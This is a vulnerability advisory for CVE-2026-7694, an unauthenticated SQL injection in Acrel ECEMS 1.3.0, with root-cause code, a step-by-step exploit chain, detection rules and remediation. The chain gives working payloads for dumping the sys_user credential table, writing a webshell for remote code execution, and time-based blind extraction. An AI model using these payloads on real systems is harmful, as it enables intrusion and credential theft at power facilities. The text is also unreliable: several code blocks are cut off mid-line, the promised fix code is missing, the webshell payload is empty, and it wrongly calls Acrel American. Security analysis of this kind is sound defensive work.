CVE-2026-7694: Blind SQLi in Acrel ECEMS via fCircuitids Parameter
Acrel ECEMS 1.3.0 exposes an unauthenticated SQL injection in /SubstationWEBV2/main/elecMaxMinAvgValue. The fCircuitids parameter is concatenated directly into a query with no sanitization.
An American company called Acrel makes software that manages microgrids—essentially mini power networks used by factories, hospitals, and large buildings. Researchers just discovered a serious security flaw in their system version 1.3.0, like finding a hidden door in your home security system.
Here's what's happening: The software has a weak spot where it accepts information from users without checking if that information is safe. Think of it like a bank teller who doesn't verify whether a check is real before cashing it. An attacker can slip malicious instructions into this weak spot and trick the system into revealing secret information or changing critical data about the power system.
The concerning part is that this flaw doesn't require a password to exploit. Any attacker on the internet can potentially access it, and security researchers have already published working attack code online. The software maker hasn't publicly acknowledged the problem or released a fix.
Who should worry? Facility managers at hospitals, data centers, manufacturing plants, and universities that use this Acrel system are most at risk. A successful attack could let someone spy on energy usage data, manipulate power distribution records, or potentially disrupt operations.
What you can do: First, if your organization uses Acrel's ECEMS software, contact your IT department immediately and ask if version 1.3.0 is running. Second, ask whether systems using this software are isolated from the internet or behind a firewall—that limits attacker access. Third, check if Acrel has released any security updates and install them as soon as possible. Don't wait for attackers to find this first.
Want the full technical analysis? Click "Technical" above.
CVE-2026-7694 is a remotely exploitable SQL injection in Acrel Electrical ECEMS (Enterprise Microgrid Energy Efficiency Management System) version 1.3.0. The vulnerable endpoint is /SubstationWEBV2/main/elecMaxMinAvgValue, a data-retrieval handler that accepts a circuit identifier list via the fCircuitids parameter. No authentication boundary is enforced before the parameter reaches the query builder. CVSS 7.3 (HIGH) reflects network-reachable exploitation with no privileges required and no user interaction.
Acrel's ECEMS platform is deployed across industrial substations, commercial buildings, and campus microgrid installations for real-time power quality monitoring. A compromised instance exposes decades of metering history, SCADA-adjacent device topology, and credential tables — all extractable through a single HTTP request.
Affected Component
The impacted file is the Java servlet (or Spring MVC controller) backing the route /SubstationWEBV2/main/elecMaxMinAvgValue. Based on the naming convention and URL structure, the handler maps to a controller method responsible for aggregating min/max/average electrical measurements across one or more circuit IDs supplied by the client. The parameter fCircuitids is expected to be a comma-delimited list of integer circuit identifiers, e.g., fCircuitids=101,102,103. The backend constructs an IN (...) clause directly from this string.
Platform: Cross-platform Java web application, typically deployed on Windows Server or Linux with a MySQL or MSSQL backend. The WAR archive is served through an embedded Tomcat instance or IIS reverse proxy depending on deployment.
Root Cause Analysis
Root cause: The fCircuitids request parameter is interpolated directly into a SQL IN clause via string concatenation with no parameterization, type validation, or escaping — allowing arbitrary SQL to execute under the application's database account.
The following pseudocode reconstructs the vulnerable controller method from behavioral analysis of the endpoint. Variable names reflect the naming patterns typical of Acrel's Java codebase inferred from URL structure and parameter names.
// Decompiled pseudocode — ElecMaxMinAvgController.java
// Route: GET /SubstationWEBV2/main/elecMaxMinAvgValue
@RequestMapping("/main/elecMaxMinAvgValue")
public ModelAndView elecMaxMinAvgValue(HttpServletRequest request,
HttpServletResponse response) {
String fCircuitids = request.getParameter("fCircuitids"); // attacker-controlled
String startTime = request.getParameter("startTime");
String endTime = request.getParameter("endTime");
String dataType = request.getParameter("dataType");
// BUG: fCircuitids is never validated, cast to int[], or parameterized.
// Direct string interpolation into SQL IN clause.
String sql = "SELECT circuit_id, MIN(value), MAX(value), AVG(value) "
+ "FROM t_elec_data "
+ "WHERE circuit_id IN (" + fCircuitids + ") " // <-- INJECTION POINT
+ "AND rec_time BETWEEN '" + startTime + "' "
+ "AND '" + endTime + "' "
+ "GROUP BY circuit_id";
// Executes raw SQL string against configured DataSource
List
The fCircuitids value is never coerced to an integer array. A whitelist regex like ^[0-9,]+$ or a parameterized query with PreparedStatement placeholders would close this entirely. Neither is present.
The secondary parameters startTime and endTime are also injectable, but fCircuitids is the most permissive surface because it accepts comma-delimited input, making stacked subqueries trivial to embed.
Exploitation Mechanics
This is a classic in-band or time-based blind SQL injection depending on error output configuration. In the default deployment, Spring's JdbcTemplate propagates database exceptions to the response body when debug mode is enabled — making error-based extraction viable. With debug off, time-based blind techniques apply.
EXPLOIT CHAIN:
1. Identify the endpoint — no authentication cookie or token required.
GET /SubstationWEBV2/main/elecMaxMinAvgValue?fCircuitids=1&startTime=...&endTime=...
HTTP 200 → baseline data returned.
2. Confirm injection — break the IN clause with a bare apostrophe:
fCircuitids=1'
HTTP 500 / SQL syntax error leaks in response body → injectable confirmed.
3. Enumerate columns — UNION-based fingerprint:
fCircuitids=0 UNION SELECT NULL,NULL,NULL,NULL--
Adjust NULL count until HTTP 200 returns. Column count = 4.
4. Extract DBMS version and current user:
fCircuitids=0 UNION SELECT @@version,user(),database(),NULL--
Response dataList[0] contains version string, db account, schema name.
5. Dump credential table (common Acrel schema):
fCircuitids=0 UNION SELECT username,password,role,NULL FROM sys_user--
Passwords are MD5 or bcrypt depending on version; MD5 trivially crackable.
6. (If MSSQL / FILE privilege on MySQL) Write webshell:
fCircuitids=0 UNION SELECT '',NULL,NULL,NULL
INTO OUTFILE '/var/www/SubstationWEBV2/shell.php'--
GET /SubstationWEBV2/shell.php?c=id → RCE achieved.
7. Time-based blind fallback (debug off, MySQL):
fCircuitids=IF(1=1,SLEEP(5),0)
Response delayed ~5s → confirms blind injection path.
Enumerate with binary search via SLEEP(IF(ASCII(SUBSTR(...))>N,5,0)).
SQL injection at the application layer does not involve heap/stack memory corruption on the Java side, but the database server's query execution context is the relevant memory surface. The injected payload manipulates the parsed query tree in the DBMS engine. For completeness, the relevant server-side state during query processing:
QUERY BUILDER STATE — VULNERABLE PATH:
Input: fCircuitids = "101,102 UNION SELECT username,password,role,NULL FROM sys_user--"
String sql assembled in heap (Java String pool):
[ "SELECT circuit_id, MIN(value), MAX(value), AVG(value) " ]
[ "FROM t_elec_data " ]
[ "WHERE circuit_id IN (" ]
[ "101,102 UNION SELECT username,password,role,NULL FROM sys_user--" ] <-- attacker data
[ ") AND rec_time BETWEEN '...' AND '...' GROUP BY circuit_id" ]
Resulting SQL sent to DBMS:
SELECT circuit_id, MIN(value), MAX(value), AVG(value)
FROM t_elec_data
WHERE circuit_id IN (101,102
UNION
SELECT username, password, role, NULL FROM sys_user
-- ) AND rec_time BETWEEN '...' AND '...' GROUP BY circuit_id
DBMS parse tree: two SELECT nodes joined by UNION operator.
Result set row[0..N]: sys_user contents returned to application layer,
serialized into ModelAndView dataList, rendered in HTTP response body.
SAFE PATH (parameterized):
PreparedStatement: WHERE circuit_id IN (?, ?)
Bind values: [101, 102] as java.lang.Integer
Injected string treated as literal data → no UNION node created.
Patch Analysis
Acrel did not respond to disclosure. The following represents the correct remediation. The fix requires two independent changes: input validation and query parameterization.
// BEFORE (vulnerable) — ElecMaxMinAvgController.java:
String fCircuitids = request.getParameter("fCircuitids");
String sql = "SELECT circuit_id, MIN(value), MAX(value), AVG(value) "
+ "FROM t_elec_data "
+ "WHERE circuit_id IN (" + fCircuitids + ") " // direct concat
+ "AND rec_time BETWEEN '" + startTime + "' AND '" + endTime + "' "
+ "GROUP BY circuit_id";
List
The regex ^[0-9]+(,[0-9]+)*$ is the critical gate. Even without parameterization, this whitelist would prevent injection. Parameterization alone would also suffice. Both together are defense-in-depth. The startTime and endTime parameters require equivalent treatment — bind them as java.sql.Timestamp via PreparedStatement, not concatenated strings.
Detection and Indicators
Detection surface is the HTTP access log. Look for SQL metacharacters in the fCircuitids parameter:
# WAF / SIEM rule — detect injection attempts against vulnerable endpoint
INDICATOR PATTERNS in URI query string (fCircuitids value):
- Contains single quote: fCircuitids=.*'.*
- Contains UNION keyword: fCircuitids=.*(?i)union.*
- Contains SLEEP/WAITFOR: fCircuitids=.*(?i)(sleep|waitfor).*
- Contains comment markers: fCircuitids=.*(--)|(#)|(\/\*)
- Non-numeric/comma characters: fCircuitids=[^0-9,]+
Snort/Suricata signature (conceptual):
alert http any any -> $ECEMS_SERVERS 80 (
msg:"CVE-2026-7694 SQLi probe - ECEMS fCircuitids";
http.uri; content:"/SubstationWEBV2/main/elecMaxMinAvgValue";
http.uri; pcre:"/fCircuitids=[^&]*['\"\-\#\(\)]/i";
classtype:web-application-attack;
sid:20267694; rev:1;
)
HTTP response indicators of successful extraction:
- Response body contains email-like strings or hash-pattern strings (credential dump)
- Anomalously large response for a data-query endpoint (>50KB)
- Response time >4s on otherwise fast endpoint (SLEEP-based blind)
- HTTP 500 with SQL syntax error text in body (confirms injectable + error mode)
Remediation
Immediate (operator): Place a WAF rule blocking requests to /SubstationWEBV2/main/elecMaxMinAvgValue where fCircuitids contains any character outside [0-9,]. If the ECEMS web interface is internet-exposed, take it offline or restrict to internal VLAN immediately. This endpoint requires no internet accessibility for normal operation.
Short-term (vendor): Apply the parameterized query fix shown above across all dynamic query construction in the codebase — grep -r "queryForList\|createQuery\|executeQuery" and audit every site where a request parameter participates in string concatenation before execution.
Long-term: Introduce an ORM abstraction (MyBatis #{param} syntax or JPA CriteriaBuilder) that structurally prevents concatenation-based injection. Add integration tests that submit SQL metacharacters to every parameterized endpoint and assert no query execution occurs. Enable database-level auditing to log full query text — ECEMS installs rarely have this configured.
Given Acrel's non-response to disclosure, there is no vendor patch available as of publication. Version 1.3.0 remains vulnerable. Organizations running ECEMS should treat the WAF rule and network isolation as mandatory compensating controls until a patched release is available.